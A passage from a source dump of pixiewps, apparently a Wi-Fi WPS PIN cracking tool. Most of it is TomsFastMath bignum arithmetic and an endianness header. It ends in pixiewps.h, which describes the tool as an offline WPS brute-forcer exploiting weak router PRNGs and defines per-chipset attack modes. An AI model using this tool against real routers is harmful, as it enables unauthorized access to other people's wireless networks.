SQRADDSC(a[11], a[23]); SQRADDAC(a[12], a[22]); SQRADDAC(a[13], a[21]); SQRADDAC(a[14], a[20]); SQRADDAC(a[15], a[19]); SQRADDAC(a[16], a[18]); SQRADDDB; SQRADD(a[17], a[17]); 190 | COMBA_STORE(b[34]); 191 | 192 | /* output 35 */ 193 | CARRY_FORWARD; 194 | SQRADDSC(a[12], a[23]); SQRADDAC(a[13], a[22]); SQRADDAC(a[14], a[21]); SQRADDAC(a[15], a[20]); SQRADDAC(a[16], a[19]); SQRADDAC(a[17], a[18]); SQRADDDB; 195 | COMBA_STORE(b[35]); 196 | 197 | /* output 36 */ 198 | CARRY_FORWARD; 199 | SQRADDSC(a[13], a[23]); SQRADDAC(a[14], a[22]); SQRADDAC(a[15], a[21]); SQRADDAC(a[16], a[20]); SQRADDAC(a[17], a[19]); SQRADDDB; SQRADD(a[18], a[18]); 200 | COMBA_STORE(b[36]); 201 | 202 | /* output 37 */ 203 | CARRY_FORWARD; 204 | SQRADDSC(a[14], a[23]); SQRADDAC(a[15], a[22]); SQRADDAC(a[16], a[21]); SQRADDAC(a[17], a[20]); SQRADDAC(a[18], a[19]); SQRADDDB; 205 | COMBA_STORE(b[37]); 206 | 207 | /* output 38 */ 208 | CARRY_FORWARD; 209 | SQRADDSC(a[15], a[23]); SQRADDAC(a[16], a[22]); SQRADDAC(a[17], a[21]); SQRADDAC(a[18], a[20]); SQRADDDB; SQRADD(a[19], a[19]); 210 | COMBA_STORE(b[38]); 211 | 212 | /* output 39 */ 213 | CARRY_FORWARD; 214 | SQRADDSC(a[16], a[23]); SQRADDAC(a[17], a[22]); SQRADDAC(a[18], a[21]); SQRADDAC(a[19], a[20]); SQRADDDB; 215 | COMBA_STORE(b[39]); 216 | 217 | /* output 40 */ 218 | CARRY_FORWARD; 219 | SQRADDSC(a[17], a[23]); SQRADDAC(a[18], a[22]); SQRADDAC(a[19], a[21]); SQRADDDB; SQRADD(a[20], a[20]); 220 | COMBA_STORE(b[40]); 221 | 222 | /* output 41 */ 223 | CARRY_FORWARD; 224 | SQRADDSC(a[18], a[23]); SQRADDAC(a[19], a[22]); SQRADDAC(a[20], a[21]); SQRADDDB; 225 | COMBA_STORE(b[41]); 226 | 227 | /* output 42 */ 228 | CARRY_FORWARD; 229 | SQRADD2(a[19], a[23]); SQRADD2(a[20], a[22]); SQRADD(a[21], a[21]); 230 | COMBA_STORE(b[42]); 231 | 232 | /* output 43 */ 233 | CARRY_FORWARD; 234 | SQRADD2(a[20], a[23]); SQRADD2(a[21], a[22]); 235 | COMBA_STORE(b[43]); 236 | 237 | /* output 44 */ 238 | CARRY_FORWARD; 239 | SQRADD2(a[21], a[23]); SQRADD(a[22], a[22]); 240 | COMBA_STORE(b[44]); 241 | 242 | /* output 45 */ 243 | CARRY_FORWARD; 244 | SQRADD2(a[22], a[23]); 245 | COMBA_STORE(b[45]); 246 | 247 | /* output 46 */ 248 | CARRY_FORWARD; 249 | SQRADD(a[23], a[23]); 250 | COMBA_STORE(b[46]); 251 | COMBA_STORE2(b[47]); 252 | COMBA_FINI; 253 | 254 | B->used = 48; 255 | B->sign = FP_ZPOS; 256 | memcpy(B->dp, b, 48 * sizeof(fp_digit)); 257 | fp_clamp(B); 258 | } 259 | #endif 260 | 261 | 262 | /* $Source$ */ 263 | /* $Revision$ */ 264 | /* $Date$ */ 265 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_sqr_comba_generic.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | 11 | #define TFM_DEFINES 12 | #include "fp_sqr_comba.c" 13 | 14 | /* generic comba squarer */ 15 | void fp_sqr_comba(fp_int *A, fp_int *B) 16 | { 17 | int pa, ix, iz; 18 | fp_digit c0, c1, c2; 19 | fp_int tmp, *dst; 20 | #ifdef TFM_ISO 21 | fp_word tt; 22 | #endif 23 | 24 | /* get size of output and trim */ 25 | pa = A->used + A->used; 26 | if (pa >= FP_SIZE) { 27 | pa = FP_SIZE-1; 28 | } 29 | 30 | /* number of output digits to produce */ 31 | COMBA_START; 32 | CLEAR_CARRY; 33 | 34 | if (A == B) { 35 | fp_zero(&tmp); 36 | dst = &tmp; 37 | } else { 38 | fp_zero(B); 39 | dst = B; 40 | } 41 | 42 | for (ix = 0; ix < pa; ix++) { 43 | int tx, ty, iy; 44 | fp_digit *tmpy, *tmpx; 45 | 46 | /* get offsets into the two bignums */ 47 | ty = MIN(A->used-1, ix); 48 | tx = ix - ty; 49 | 50 | /* setup temp aliases */ 51 | tmpx = A->dp + tx; 52 | tmpy = A->dp + ty; 53 | 54 | /* this is the number of times the loop will iterrate, 55 | while (tx++ < a->used && ty-- >= 0) { ... } 56 | */ 57 | iy = MIN(A->used-tx, ty+1); 58 | 59 | /* now for squaring tx can never equal ty 60 | * we halve the distance since they approach 61 | * at a rate of 2x and we have to round because 62 | * odd cases need to be executed 63 | */ 64 | iy = MIN(iy, (ty-tx+1)>>1); 65 | 66 | /* forward carries */ 67 | CARRY_FORWARD; 68 | 69 | /* execute loop */ 70 | for (iz = 0; iz < iy; iz++) { 71 | fp_digit _tmpx = *tmpx++; 72 | fp_digit _tmpy = *tmpy--; 73 | SQRADD2(_tmpx, _tmpy); 74 | } 75 | 76 | /* even columns have the square term in them */ 77 | if ((ix&1) == 0) { 78 | fp_digit _a_dp = A->dp[ix>>1]; 79 | SQRADD(_a_dp, A->dp[ix>>1]); 80 | } 81 | 82 | /* store it */ 83 | COMBA_STORE(dst->dp[ix]); 84 | } 85 | 86 | COMBA_FINI; 87 | 88 | /* setup dest */ 89 | dst->used = pa; 90 | fp_clamp (dst); 91 | if (dst != B) { 92 | fp_copy(dst, B); 93 | } 94 | } 95 | 96 | /* $Source$ */ 97 | /* $Revision$ */ 98 | /* $Date$ */ 99 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_sub.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* c = a - b */ 13 | void fp_sub(fp_int *a, fp_int *b, fp_int *c) 14 | { 15 | int sa, sb; 16 | 17 | sa = a->sign; 18 | sb = b->sign; 19 | 20 | if (sa != sb) { 21 | /* subtract a negative from a positive, OR */ 22 | /* subtract a positive from a negative. */ 23 | /* In either case, ADD their magnitudes, */ 24 | /* and use the sign of the first number. */ 25 | c->sign = sa; 26 | s_fp_add (a, b, c); 27 | } else { 28 | /* subtract a positive from a positive, OR */ 29 | /* subtract a negative from a negative. */ 30 | /* First, take the difference between their */ 31 | /* magnitudes, then... */ 32 | if (fp_cmp_mag (a, b) != FP_LT) { 33 | /* Copy the sign from the first */ 34 | c->sign = sa; 35 | /* The first has a larger or equal magnitude */ 36 | s_fp_sub (a, b, c); 37 | } else { 38 | /* The result has the *opposite* sign from */ 39 | /* the first number. */ 40 | c->sign = (sa == FP_ZPOS) ? FP_NEG : FP_ZPOS; 41 | /* The second has a larger magnitude */ 42 | s_fp_sub (b, a, c); 43 | } 44 | } 45 | } 46 | 47 | 48 | /* $Source$ */ 49 | /* $Revision$ */ 50 | /* $Date$ */ 51 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_to_unsigned_bin.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | void fp_to_unsigned_bin(fp_int *a, unsigned char *b) 13 | { 14 | int x; 15 | fp_int t; 16 | 17 | fp_init_copy(&t, a); 18 | 19 | x = 0; 20 | while (fp_iszero (&t) == FP_NO) { 21 | b[x++] = (unsigned char) (t.dp[0] & 255); 22 | fp_div_2d (&t, 8, &t, NULL); 23 | } 24 | fp_reverse (b, x); 25 | } 26 | 27 | /* $Source$ */ 28 | /* $Revision$ */ 29 | /* $Date$ */ 30 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_unsigned_bin_size.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | int fp_unsigned_bin_size(fp_int *a) 13 | { 14 | int size = fp_count_bits (a); 15 | return (size / 8 + ((size & 7) != 0 ? 1 : 0)); 16 | } 17 | 18 | /* $Source$ */ 19 | /* $Revision$ */ 20 | /* $Date$ */ 21 | -------------------------------------------------------------------------------- /src/crypto/tfm/s_fp_add.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* unsigned addition */ 13 | void s_fp_add(fp_int *a, fp_int *b, fp_int *c) 14 | { 15 | int x, y, oldused; 16 | register fp_word t; 17 | 18 | y = MAX(a->used, b->used); 19 | oldused = MIN(c->used, FP_SIZE); 20 | c->used = y; 21 | 22 | t = 0; 23 | for (x = 0; x < y; x++) { 24 | t += ((fp_word)a->dp[x]) + ((fp_word)b->dp[x]); 25 | c->dp[x] = (fp_digit)t; 26 | t >>= DIGIT_BIT; 27 | } 28 | if (t != 0 && x < FP_SIZE) { 29 | c->dp[c->used++] = (fp_digit)t; 30 | ++x; 31 | } 32 | 33 | c->used = x; 34 | for (; x < oldused; x++) { 35 | c->dp[x] = 0; 36 | } 37 | fp_clamp(c); 38 | } 39 | 40 | /* $Source$ */ 41 | /* $Revision$ */ 42 | /* $Date$ */ 43 | -------------------------------------------------------------------------------- /src/crypto/tfm/s_fp_sub.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* unsigned subtraction ||a|| >= ||b|| ALWAYS! */ 13 | void s_fp_sub(fp_int *a, fp_int *b, fp_int *c) 14 | { 15 | int x, oldbused, oldused; 16 | fp_word t; 17 | 18 | oldused = c->used; 19 | oldbused = b->used; 20 | c->used = a->used; 21 | t = 0; 22 | for (x = 0; x < oldbused; x++) { 23 | t = ((fp_word)a->dp[x]) - (((fp_word)b->dp[x]) + t); 24 | c->dp[x] = (fp_digit)t; 25 | t = (t >> DIGIT_BIT)&1; 26 | } 27 | for (; x < a->used; x++) { 28 | t = ((fp_word)a->dp[x]) - t; 29 | c->dp[x] = (fp_digit)t; 30 | t = (t >> DIGIT_BIT)&1; 31 | } 32 | for (; x < oldused; x++) { 33 | c->dp[x] = 0; 34 | } 35 | fp_clamp(c); 36 | } 37 | 38 | /* $Source$ */ 39 | /* $Revision$ */ 40 | /* $Date$ */ 41 | -------------------------------------------------------------------------------- /src/crypto/tfm/sources.mak: -------------------------------------------------------------------------------- 1 | TFM_SRCS = \ 2 | ./fp_2expt.c \ 3 | ./fp_add.c \ 4 | ./fp_cmp.c \ 5 | ./fp_cmp_d.c \ 6 | ./fp_cmp_mag.c \ 7 | ./fp_count_bits.c \ 8 | ./fp_div.c \ 9 | ./fp_div_2.c \ 10 | ./fp_div_2d.c \ 11 | ./fp_exptmod.c \ 12 | ./fp_invmod.c \ 13 | ./fp_lshd.c \ 14 | ./fp_mod.c \ 15 | ./fp_mod_2d.c \ 16 | ./fp_montgomery_reduce.c \ 17 | ./fp_montgomery_setup.c \ 18 | ./fp_montgomery_calc_normalization.c \ 19 | ./fp_mul.c \ 20 | ./fp_mul_2.c \ 21 | ./fp_mul_2d.c \ 22 | ./fp_mul_comba.c \ 23 | ./fp_mul_d.c \ 24 | ./fp_mulmod.c \ 25 | ./fp_read_unsigned_bin.c \ 26 | ./fp_reverse.c \ 27 | ./fp_rshd.c \ 28 | ./fp_set.c \ 29 | ./fp_sqr.c \ 30 | ./fp_sqr_comba_generic.c \ 31 | ./fp_sub.c \ 32 | ./fp_to_unsigned_bin.c \ 33 | ./fp_unsigned_bin_size.c \ 34 | ./s_fp_add.c \ 35 | ./s_fp_sub.c 36 | -------------------------------------------------------------------------------- /src/crypto/tfm/tfm_private.h: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #ifndef TFM_PRIVATE_H_ 11 | #define TFM_PRIVATE_H_ 12 | 13 | #include "tfm.h" 14 | 15 | /* VARIOUS LOW LEVEL STUFFS */ 16 | void s_fp_add(fp_int *a, fp_int *b, fp_int *c); 17 | void s_fp_sub(fp_int *a, fp_int *b, fp_int *c); 18 | void fp_reverse(unsigned char *s, int len); 19 | 20 | void fp_mul_comba(fp_int *A, fp_int *B, fp_int *C); 21 | 22 | #ifdef TFM_SMALL_SET 23 | void fp_mul_comba_small(fp_int *A, fp_int *B, fp_int *C); 24 | #endif 25 | 26 | #ifdef TFM_MUL3 27 | void fp_mul_comba3(fp_int *A, fp_int *B, fp_int *C); 28 | #endif 29 | #ifdef TFM_MUL4 30 | void fp_mul_comba4(fp_int *A, fp_int *B, fp_int *C); 31 | #endif 32 | #ifdef TFM_MUL6 33 | void fp_mul_comba6(fp_int *A, fp_int *B, fp_int *C); 34 | #endif 35 | #ifdef TFM_MUL7 36 | void fp_mul_comba7(fp_int *A, fp_int *B, fp_int *C); 37 | #endif 38 | #ifdef TFM_MUL8 39 | void fp_mul_comba8(fp_int *A, fp_int *B, fp_int *C); 40 | #endif 41 | #ifdef TFM_MUL9 42 | void fp_mul_comba9(fp_int *A, fp_int *B, fp_int *C); 43 | #endif 44 | #ifdef TFM_MUL12 45 | void fp_mul_comba12(fp_int *A, fp_int *B, fp_int *C); 46 | #endif 47 | #ifdef TFM_MUL17 48 | void fp_mul_comba17(fp_int *A, fp_int *B, fp_int *C); 49 | #endif 50 | 51 | #ifdef TFM_MUL20 52 | void fp_mul_comba20(fp_int *A, fp_int *B, fp_int *C); 53 | #endif 54 | #ifdef TFM_MUL24 55 | void fp_mul_comba24(fp_int *A, fp_int *B, fp_int *C); 56 | #endif 57 | #ifdef TFM_MUL28 58 | void fp_mul_comba28(fp_int *A, fp_int *B, fp_int *C); 59 | #endif 60 | #ifdef TFM_MUL32 61 | void fp_mul_comba32(fp_int *A, fp_int *B, fp_int *C); 62 | #endif 63 | #ifdef TFM_MUL48 64 | void fp_mul_comba48(fp_int *A, fp_int *B, fp_int *C); 65 | #endif 66 | #ifdef TFM_MUL64 67 | void fp_mul_comba64(fp_int *A, fp_int *B, fp_int *C); 68 | #endif 69 | 70 | void fp_sqr_comba(fp_int *A, fp_int *B); 71 | 72 | #ifdef TFM_SMALL_SET 73 | void fp_sqr_comba_small(fp_int *A, fp_int *B); 74 | #endif 75 | 76 | #ifdef TFM_SQR3 77 | void fp_sqr_comba3(fp_int *A, fp_int *B); 78 | #endif 79 | #ifdef TFM_SQR4 80 | void fp_sqr_comba4(fp_int *A, fp_int *B); 81 | #endif 82 | #ifdef TFM_SQR6 83 | void fp_sqr_comba6(fp_int *A, fp_int *B); 84 | #endif 85 | #ifdef TFM_SQR7 86 | void fp_sqr_comba7(fp_int *A, fp_int *B); 87 | #endif 88 | #ifdef TFM_SQR8 89 | void fp_sqr_comba8(fp_int *A, fp_int *B); 90 | #endif 91 | #ifdef TFM_SQR9 92 | void fp_sqr_comba9(fp_int *A, fp_int *B); 93 | #endif 94 | #ifdef TFM_SQR12 95 | void fp_sqr_comba12(fp_int *A, fp_int *B); 96 | #endif 97 | #ifdef TFM_SQR17 98 | void fp_sqr_comba17(fp_int *A, fp_int *B); 99 | #endif 100 | 101 | #ifdef TFM_SQR20 102 | void fp_sqr_comba20(fp_int *A, fp_int *B); 103 | #endif 104 | #ifdef TFM_SQR24 105 | void fp_sqr_comba24(fp_int *A, fp_int *B); 106 | #endif 107 | #ifdef TFM_SQR28 108 | void fp_sqr_comba28(fp_int *A, fp_int *B); 109 | #endif 110 | #ifdef TFM_SQR32 111 | void fp_sqr_comba32(fp_int *A, fp_int *B); 112 | #endif 113 | #ifdef TFM_SQR48 114 | void fp_sqr_comba48(fp_int *A, fp_int *B); 115 | #endif 116 | #ifdef TFM_SQR64 117 | void fp_sqr_comba64(fp_int *A, fp_int *B); 118 | #endif 119 | extern const char *fp_s_rmap; 120 | 121 | #endif 122 | 123 | /* $Source$ */ 124 | /* $Revision$ */ 125 | /* $Date$ */ 126 | -------------------------------------------------------------------------------- /src/endianness.h: -------------------------------------------------------------------------------- 1 | #ifndef ENDIANNESS_H 2 | #define ENDIANNESS_H 3 | 4 | /* Public domain implementation for endianness detection and byte ordering on 5 | several platforms. In case the concept of public domain does not exist 6 | under your jurisdiction, you can consider it to be dual licensed 7 | under the MIT, Apache and WTFPL licenses. 8 | 9 | Grab it and drop it into your project, include it and use 10 | the following macros to determine endianness: 11 | 12 | ENDIANNESS_LE, ENDIANNESS_BE 13 | 14 | e.g. #if ENDIANNESS_LE ... 15 | 16 | or, even nicer without littering your code with #ifdefs: 17 | 18 | if (ENDIANNESS_BE) { big_endian_code(); } else { little_endian_code(); } 19 | 20 | ... since the compiler can optimize away unused branches, this makes your 21 | code easier to read while not loosing any of the advantage of using 22 | conditional compilation, plus you get a free compile-time check of the 23 | unused code path (rarely used conditonally compiled code paths often get 24 | defunct over time if nobody checks them all the time). 25 | 26 | To debug this header yourself, you can define ENDIANNESS_DEBUG to see 27 | warnings from where we take the defs for the specific target. 28 | 29 | If you need only the conversion functions from big to little endian 30 | and vice versa, you may want to #define ENDIANNESS_PORTABLE_CONVERSION 31 | prior to including this header. That way, when the endiannes can't be 32 | determined at compile time, the code will fallback to a slower, 33 | but portable version of those functions. 34 | However, if using it, it's not guaranteed that ENDIANNESS_LE/BE 35 | will be defined. 36 | Most people however need only the conversion functions in their code, 37 | so if you stick to them you can safely turn the portable conversion on. 38 | */ 39 | 40 | /* This should catch all modern GCCs and Clang */ 41 | #if (defined __BYTE_ORDER__) && (defined __ORDER_LITTLE_ENDIAN__) 42 | # ifdef ENDIANNESS_DEBUG 43 | # warning "Taking endiannes from built-in __BYTE_ORDER__" 44 | # endif 45 | # if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ 46 | # define ENDIANNESS_LE 1 47 | # define ENDIANNESS_BE 0 48 | # elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ 49 | # define ENDIANNESS_LE 0 50 | # define ENDIANNESS_BE 1 51 | # endif 52 | /* Try to derive from arch/compiler-specific macros */ 53 | #elif defined(_X86_) || defined(__x86_64__) || defined(__i386__) || \ 54 | defined(__i486__) || defined(__i586__) || defined(__i686__) || \ 55 | defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) || \ 56 | defined(__ARMEL__) || \ 57 | (defined(__LITTLE_ENDIAN__) && __LITTLE_ENDIAN__ == 1) || \ 58 | (defined(_LITTLE_ENDIAN) && _LITTLE_ENDIAN == 1) || \ 59 | defined(_M_IX86) || defined(_M_AMD64) /* MSVC */ 60 | # ifdef ENDIANNESS_DEBUG 61 | # warning "Detected Little Endian target CPU" 62 | # endif 63 | # define ENDIANNESS_LE 1 64 | # define ENDIANNESS_BE 0 65 | #elif defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) || \ 66 | defined(__MICROBLAZEEB__) || defined(__ARMEB__) || \ 67 | (defined(__BIG_ENDIAN__) && __BIG_ENDIAN__ == 1) || \ 68 | (defined(_BIG_ENDIAN) && _BIG_ENDIAN == 1) 69 | # ifdef ENDIANNESS_DEBUG 70 | # warning "Detected Big Endian target CPU" 71 | # endif 72 | # define ENDIANNESS_LE 0 73 | # define ENDIANNESS_BE 1 74 | /* Try to get it from a header */ 75 | #else 76 | # if defined(__linux) 77 | # ifdef ENDIANNESS_DEBUG 78 | # warning "Taking endiannes from endian.h" 79 | # endif 80 | # include 81 | # else 82 | # ifdef ENDIANNESS_DEBUG 83 | # warning "Taking endiannes from machine/endian.h" 84 | # endif 85 | # include 86 | # endif 87 | #endif 88 | 89 | #ifndef ENDIANNESS_LE 90 | # undef ENDIANNESS_BE 91 | # if defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) 92 | # if __BYTE_ORDER == __LITTLE_ENDIAN 93 | # define ENDIANNESS_LE 1 94 | # define ENDIANNESS_BE 0 95 | # elif __BYTE_ORDER == __BIG_ENDIAN 96 | # define ENDIANNESS_LE 0 97 | # define ENDIANNESS_BE 1 98 | # endif 99 | # elif defined(BYTE_ORDER) && defined(LITTLE_ENDIAN) 100 | # if BYTE_ORDER == LITTLE_ENDIAN 101 | # define ENDIANNESS_LE 1 102 | # define ENDIANNESS_BE 0 103 | # elif BYTE_ORDER == BIG_ENDIAN 104 | # define ENDIANNESS_LE 0 105 | # define ENDIANNESS_BE 1 106 | # endif 107 | # endif 108 | #endif 109 | 110 | /* In case the user passed one of -DENDIANNESS_LE or BE in CPPFLAS, 111 | set the second one too */ 112 | #if defined(ENDIANNESS_LE) && !(defined(ENDIANNESS_BE)) 113 | # if ENDIANNESS_LE == 0 114 | # define ENDIANNESS_BE 1 115 | # else 116 | # define ENDIANNESS_BE 0 117 | # endif 118 | #elif defined(ENDIANNESS_BE) && !(defined(ENDIANNESS_LE)) 119 | # if ENDIANNESS_BE == 0 120 | # define ENDIANNESS_LE 1 121 | # else 122 | # define ENDIANNESS_LE 0 123 | # endif 124 | #endif 125 | 126 | #if !(defined(ENDIANNESS_LE)) && !(defined(ENDIANNESS_PORTABLE_CONVERSION)) 127 | # error "Sorry, we couldn't detect endiannes for your system! Please set -DENDIANNESS_LE=1 or 0 using your CPPFLAGS/CFLAGS and open an issue for your system on https://github.com/rofl0r/endianness.h - Thanks!" 128 | #endif 129 | 130 | #ifdef ENDIANNESS_DEBUG 131 | # if ENDIANNESS_LE == 1 132 | # warning "Detected Little Endian target CPU" 133 | # endif 134 | # if ENDIANNESS_BE == 1 135 | # warning "Detected BIG Endian target CPU" 136 | # endif 137 | #endif 138 | 139 | #include 140 | #include 141 | 142 | static __inline uint16_t end_bswap16(uint16_t __x) 143 | { 144 | return (__x<<8) | (__x>>8); 145 | } 146 | 147 | static __inline uint32_t end_bswap32(uint32_t __x) 148 | { 149 | return (__x>>24) | (__x>>8&0xff00) | (__x<<8&0xff0000) | (__x<<24); 150 | } 151 | 152 | static __inline uint64_t end_bswap64(uint64_t __x) 153 | { 154 | return ((end_bswap32(__x)+0ULL)<<32) | (end_bswap32(__x>>32)); 155 | } 156 | 157 | static __inline uint16_t end_net2host16(uint16_t net_number) 158 | { 159 | uint16_t result = 0; 160 | int i; 161 | for (i = 0; i < (int)sizeof(result); i++) { 162 | result <<= CHAR_BIT; 163 | result += (((unsigned char *)&net_number)[i] & UCHAR_MAX); 164 | } 165 | return result; 166 | } 167 | 168 | static __inline uint16_t end_host2net16(uint16_t native_number) 169 | { 170 | uint16_t result = 0; 171 | int i; 172 | for (i = (int)sizeof(result) - 1; i >= 0; i--) { 173 | ((unsigned char *)&result)[i] = native_number & UCHAR_MAX; 174 | native_number >>= CHAR_BIT; 175 | } 176 | return result; 177 | } 178 | 179 | static __inline uint32_t end_net2host32(uint32_t net_number) 180 | { 181 | uint32_t result = 0; 182 | int i; 183 | for (i = 0; i < (int)sizeof(result); i++) { 184 | result <<= CHAR_BIT; 185 | result += (((unsigned char *)&net_number)[i] & UCHAR_MAX); 186 | } 187 | return result; 188 | } 189 | 190 | static __inline uint32_t end_host2net32(uint32_t native_number) 191 | { 192 | uint32_t result = 0; 193 | int i; 194 | for (i = (int)sizeof(result) - 1; i >= 0; i--) { 195 | ((unsigned char *)&result)[i] = native_number & UCHAR_MAX; 196 | native_number >>= CHAR_BIT; 197 | } 198 | return result; 199 | } 200 | 201 | static __inline uint64_t end_net2host64(uint64_t net_number) 202 | { 203 | uint64_t result = 0; 204 | int i; 205 | for (i = 0; i < (int)sizeof(result); i++) { 206 | result <<= CHAR_BIT; 207 | result += (((unsigned char *)&net_number)[i] & UCHAR_MAX); 208 | } 209 | return result; 210 | } 211 | 212 | static __inline uint64_t end_host2net64(uint64_t native_number) 213 | { 214 | uint64_t result = 0; 215 | int i; 216 | for (i = (int)sizeof(result) - 1; i >= 0; i--) { 217 | ((unsigned char *)&result)[i] = native_number & UCHAR_MAX; 218 | native_number >>= CHAR_BIT; 219 | } 220 | return result; 221 | } 222 | 223 | #if ENDIANNESS_LE+0 == 1 224 | # define end_htobe16(x) end_bswap16(x) 225 | # define end_be16toh(x) end_bswap16(x) 226 | # define end_htobe32(x) end_bswap32(x) 227 | # define end_be32toh(x) end_bswap32(x) 228 | # define end_htobe64(x) end_bswap64(x) 229 | # define end_be64toh(x) end_bswap64(x) 230 | # define end_htole16(x) (uint16_t)(x) 231 | # define end_le16toh(x) (uint16_t)(x) 232 | # define end_htole32(x) (uint32_t)(x) 233 | # define end_le32toh(x) (uint32_t)(x) 234 | # define end_htole64(x) (uint64_t)(x) 235 | # define end_le64toh(x) (uint64_t)(x) 236 | #elif ENDIANNESS_BE+0 == 1 237 | # define end_htobe16(x) (uint16_t)(x) 238 | # define end_be16toh(x) (uint16_t)(x) 239 | # define end_htobe32(x) (uint32_t)(x) 240 | # define end_be32toh(x) (uint32_t)(x) 241 | # define end_htobe64(x) (uint64_t)(x) 242 | # define end_be64toh(x) (uint64_t)(x) 243 | # define end_htole16(x) end_bswap16(x) 244 | # define end_le16toh(x) end_bswap16(x) 245 | # define end_htole32(x) end_bswap32(x) 246 | # define end_le32toh(x) end_bswap32(x) 247 | # define end_htole64(x) end_bswap64(x) 248 | # define end_le64toh(x) end_bswap64(x) 249 | #else 250 | /* Resort to slower, but neutral code */ 251 | # define end_htobe16(x) end_host2net16(x) 252 | # define end_be16toh(x) end_net2host16(x) 253 | # define end_htobe32(x) end_host2net32(x) 254 | # define end_be32toh(x) end_net2host32(x) 255 | # define end_htobe64(x) end_host2net64(x) 256 | # define end_be64toh(x) end_net2host64(x) 257 | # define end_htole16(x) end_bswap_16(end_host2net16(x)) 258 | # define end_le16toh(x) end_bswap_16(end_host2net16(x)) 259 | # define end_htole32(x) end_bswap_32(end_host2net32(x)) 260 | # define end_le32toh(x) end_bswap_32(end_host2net32(x)) 261 | # define end_htole64(x) end_bswap_64(end_host2net64(x)) 262 | # define end_le64toh(x) end_bswap_64(end_host2net64(x)) 263 | #endif 264 | 265 | #define end_ntoh16(x) end_be16toh(x) 266 | #define end_hton16(x) end_htobe16(x) 267 | #define end_ntoh32(x) end_be32toh(x) 268 | #define end_hton32(x) end_htobe32(x) 269 | #define end_ntoh64(x) end_be64toh(x) 270 | #define end_hton64(x) end_htobe64(x) 271 | 272 | #endif 273 | -------------------------------------------------------------------------------- /src/pixiewps.h: -------------------------------------------------------------------------------- 1 | /* 2 | * pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs 3 | * 4 | * Copyright (c) 2015-2017, wiire 5 | * SPDX-License-Identifier: GPL-3.0+ 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | */ 17 | #ifndef PIXIEWPS_H 18 | #define PIXIEWPS_H 19 | 20 | /* Modes constants */ 21 | #define NONE 0 22 | #define RT 1 23 | #define ECOS_SIMPLE 2 24 | #define RTL819x 3 25 | #define ECOS_SIMPLEST 4 /* Not tested */ 26 | #define ECOS_KNUTH 5 /* Not tested */ 27 | 28 | /* Modes constants */ 29 | #define MODE_LEN 5 30 | #define MODE3_TRIES (60 * 10) 31 | #define SEC_PER_DAY 86400 32 | 33 | /* Exit costants */ 34 | #define PIN_FOUND 0 35 | #define PIN_ERROR 1 36 | #define MEM_ERROR 2 37 | #define ARG_ERROR 3 38 | #define UNS_ERROR 4 39 | 40 | #include 41 | #include 42 | #include 43 | 44 | #include "utils.h" 45 | 46 | #ifndef WPS_PIN_LEN 47 | # define WPS_PIN_LEN 8 48 | #endif 49 | 50 | #if defined(DEBUG) 51 | # define DEBUG_PRINT(fmt, args...) do { printf("\n [DEBUG] %s:%4d:%s(): " fmt, \ 52 | __FILE__, __LINE__, __func__, ##args); fflush(stdout); } while (0) 53 | # define DEBUG_PRINT_ARRAY(b, l) do { byte_array_print(b, l); fflush(stdout); } while (0) 54 | # define DEBUG_PRINT_ATTEMPT(s, z) \ 55 | do { \ 56 | printf("\n [DEBUG] %s:%4d:%s(): Trying with E-S1: ", __FILE__, __LINE__, __func__); \ 57 | byte_array_print(s, WPS_SECRET_NONCE_LEN); \ 58 | printf("\n [DEBUG] %s:%4d:%s(): Trying with E-S1: ", __FILE__, __LINE__, 